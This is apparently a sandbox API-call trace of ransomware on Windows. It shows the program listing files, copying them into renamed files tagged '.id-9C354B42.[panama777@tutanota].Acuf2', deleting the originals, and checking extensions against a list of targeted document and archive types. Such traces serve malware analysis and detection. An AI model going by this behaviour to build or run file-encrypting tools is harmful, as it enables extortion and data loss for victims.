	[0274.026] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0274.026] SetEndOfFile (hFile=0x38c) returned 1
	[0274.026] CloseHandle (hObject=0x38c) returned 1
	[0274.026] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.026] SetEndOfFile (hFile=0x388) returned 1
	[0274.029] CloseHandle (hObject=0x388) returned 1
	[0274.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 1
	[0274.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.029] lstrlenW (lpString=".doc") returned 4
	[0274.029] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.029] lstrlenW (lpString=".docx") returned 5
	[0274.030] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1
	[0274.030] lstrlenW (lpString=".pdf") returned 4
	[0274.030] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.030] lstrlenW (lpString=".xls") returned 4
	[0274.030] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.030] lstrlenW (lpString=".xlsx") returned 5
	[0274.030] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1
	[0274.030] lstrlenW (lpString=".ppt") returned 4
	[0274.030] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.030] lstrlenW (lpString=".zip") returned 4
	[0274.030] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.030] lstrlenW (lpString=".rar") returned 4
	[0274.030] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.030] lstrlenW (lpString=".bz2") returned 4
	[0274.030] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.030] lstrlenW (lpString=".7z") returned 3
	[0274.030] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.030] lstrlenW (lpString=".dbf") returned 4
	[0274.030] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.030] lstrlenW (lpString=".1cd") returned 4
	[0274.030] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61
	[0274.030] lstrlenW (lpString=".jpg") returned 4
	[0274.030] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.031] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=63384) returned 1
	[0274.031] CloseHandle (hObject=0x388) returned 1
	[0274.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20
	[0274.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.032] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.032] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0274.032] GetLastError () returned 0x0
	[0274.032] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xf798, lpOverlapped=0x0) returned 1
	[0274.038] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf7a0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf7a0, lpOverlapped=0x0) returned 1
	[0274.040] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.040] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0274.040] SetEndOfFile (hFile=0x38c) returned 1
	[0274.040] CloseHandle (hObject=0x38c) returned 1
	[0274.040] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.040] SetEndOfFile (hFile=0x388) returned 1
	[0274.043] CloseHandle (hObject=0x388) returned 1
	[0274.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 1
	[0274.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.043] lstrlenW (lpString=".doc") returned 4
	[0274.043] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.043] lstrlenW (lpString=".docx") returned 5
	[0274.043] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1
	[0274.043] lstrlenW (lpString=".pdf") returned 4
	[0274.044] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.044] lstrlenW (lpString=".xls") returned 4
	[0274.044] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.044] lstrlenW (lpString=".xlsx") returned 5
	[0274.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1
	[0274.044] lstrlenW (lpString=".ppt") returned 4
	[0274.044] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.044] lstrlenW (lpString=".zip") returned 4
	[0274.044] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.044] lstrlenW (lpString=".rar") returned 4
	[0274.044] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.044] lstrlenW (lpString=".bz2") returned 4
	[0274.044] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.044] lstrlenW (lpString=".7z") returned 3
	[0274.044] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.044] lstrlenW (lpString=".dbf") returned 4
	[0274.044] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.044] lstrlenW (lpString=".1cd") returned 4
	[0274.044] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61
	[0274.044] lstrlenW (lpString=".jpg") returned 4
	[0274.044] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.651] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=115608) returned 1
	[0274.651] CloseHandle (hObject=0x388) returned 1
	[0274.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20
	[0274.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0274.975] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.975] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0275.172] GetLastError () returned 0x0
	[0275.172] ReadFile (in: hFile=0x394, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1c398, lpOverlapped=0x0) returned 1
	[0275.176] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1c3a0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1c3a0, lpOverlapped=0x0) returned 1
	[0275.179] ReadFile (in: hFile=0x394, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.179] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0275.179] SetEndOfFile (hFile=0x360) returned 1
	[0275.179] CloseHandle (hObject=0x360) returned 1
	[0275.179] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.179] SetEndOfFile (hFile=0x394) returned 1
	[0275.183] CloseHandle (hObject=0x394) returned 1
	[0275.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 1
	[0275.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.199] lstrlenW (lpString=".doc") returned 4
	[0275.199] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0275.199] lstrlenW (lpString=".docx") returned 5
	[0275.200] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1
	[0275.200] lstrlenW (lpString=".pdf") returned 4
	[0275.200] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0275.200] lstrlenW (lpString=".xls") returned 4
	[0275.200] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0275.200] lstrlenW (lpString=".xlsx") returned 5
	[0275.200] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1
	[0275.200] lstrlenW (lpString=".ppt") returned 4
	[0275.200] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0275.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.200] lstrlenW (lpString=".zip") returned 4
	[0275.200] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0275.200] lstrlenW (lpString=".rar") returned 4
	[0275.200] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0275.200] lstrlenW (lpString=".bz2") returned 4
	[0275.200] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0275.200] lstrlenW (lpString=".7z") returned 3
	[0275.200] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0275.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.200] lstrlenW (lpString=".dbf") returned 4
	[0275.200] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0275.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.200] lstrlenW (lpString=".1cd") returned 4
	[0275.200] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0275.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61
	[0275.200] lstrlenW (lpString=".jpg") returned 4
	[0275.200] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0277.413] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.413] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0278.034] GetLastError () returned 0x0
	[0278.034] ReadFile (hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0) 

Thread:
	id = 103
	os_tid = 0x694

	[0249.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3ad00a8
	[0249.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3ae00b0
	[0249.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4aa0
	[0249.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x5218c0
	[0249.032] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ab8
	[0249.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x4060020
	[0249.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e78
	[0249.033] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e78, Size=0x20) returned 0x51b1a8
	[0249.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e78
	[0249.033] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e78, Size=0x20) returned 0x51b180
	[0249.033] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0249.033] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0249.033] Wow64DisableWow64FsRedirection (in: OldValue=0x360ff58 | out: OldValue=0x360ff58*=0x0) returned 1
	[0249.033] lstrlenW (lpString="kernel32.dll") returned 12
	[0249.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b1a8 | out: hHeap=0x4a0000) returned 1
	[0249.033] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0249.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b180 | out: hHeap=0x4a0000) returned 1
	[0249.033] Sleep (dwMilliseconds=0x64) 
	[0249.267] Sleep (dwMilliseconds=0x64) 
	[0249.512] lstrcmpiW (lpString1=".ttf", lpString2=".Acuf2") returned 1
	[0249.512] lstrlenW (lpString="wgl4_boot.ttf") returned 13
	[0249.512] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.572] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=47452) returned 1
	[0249.572] CloseHandle (hObject=0x298) returned 1
	[0249.572] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20
	[0249.697] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.697] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.697] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.697] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.697] lstrlenW (lpString=".doc") returned 4
	[0249.697] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString=".docx") returned 5
	[0249.697] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.697] lstrlenW (lpString=".pdf") returned 4
	[0249.697] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString=".xls") returned 4
	[0249.697] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.697] lstrlenW (lpString=".xlsx") returned 5
	[0249.697] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.697] lstrlenW (lpString=".ppt") returned 4
	[0249.697] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.697] lstrlenW (lpString=".zip") returned 4
	[0249.697] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.697] lstrlenW (lpString=".rar") returned 4
	[0249.697] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString=".bz2") returned 4
	[0249.697] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString=".7z") returned 3
	[0249.697] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.697] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.697] lstrlenW (lpString=".dbf") returned 4
	[0249.697] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.697] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString=".1cd") returned 4
	[0249.698] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString=".jpg") returned 4
	[0249.698] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString=".doc") returned 4
	[0249.698] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString=".docx") returned 5
	[0249.698] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0249.698] lstrlenW (lpString=".pdf") returned 4
	[0249.698] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString=".xls") returned 4
	[0249.698] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0249.698] lstrlenW (lpString=".xlsx") returned 5
	[0249.698] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0249.698] lstrlenW (lpString=".ppt") returned 4
	[0249.698] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString=".zip") returned 4
	[0249.698] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0249.698] lstrlenW (lpString=".rar") returned 4
	[0249.698] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString=".bz2") returned 4
	[0249.698] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString=".7z") returned 3
	[0249.698] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.698] lstrlenW (lpString=".dbf") returned 4
	[0249.698] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0249.698] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.699] lstrlenW (lpString=".1cd") returned 4
	[0249.699] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0249.699] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27
	[0249.699] lstrlenW (lpString=".jpg") returned 4
	[0249.699] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0249.699] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0249.699] lstrlenW (lpString="CGMIMP32.FLT") returned 12
	[0249.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.710] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=323936) returned 1
	[0249.710] CloseHandle (hObject=0x298) returned 1
	[0249.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20
	[0249.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.710] lstrlenW (lpString=".doc") returned 4
	[0249.710] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.710] lstrlenW (lpString=".docx") returned 5
	[0249.710] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.710] lstrlenW (lpString=".pdf") returned 4
	[0249.710] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.710] lstrlenW (lpString=".xls") returned 4
	[0249.710] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.710] lstrlenW (lpString=".xlsx") returned 5
	[0249.710] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.710] lstrlenW (lpString=".ppt") returned 4
	[0249.710] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.710] lstrlenW (lpString=".zip") returned 4
	[0249.710] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.710] lstrlenW (lpString=".rar") returned 4
	[0249.710] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.710] lstrlenW (lpString=".bz2") returned 4
	[0249.710] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.710] lstrlenW (lpString=".7z") returned 3
	[0249.710] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
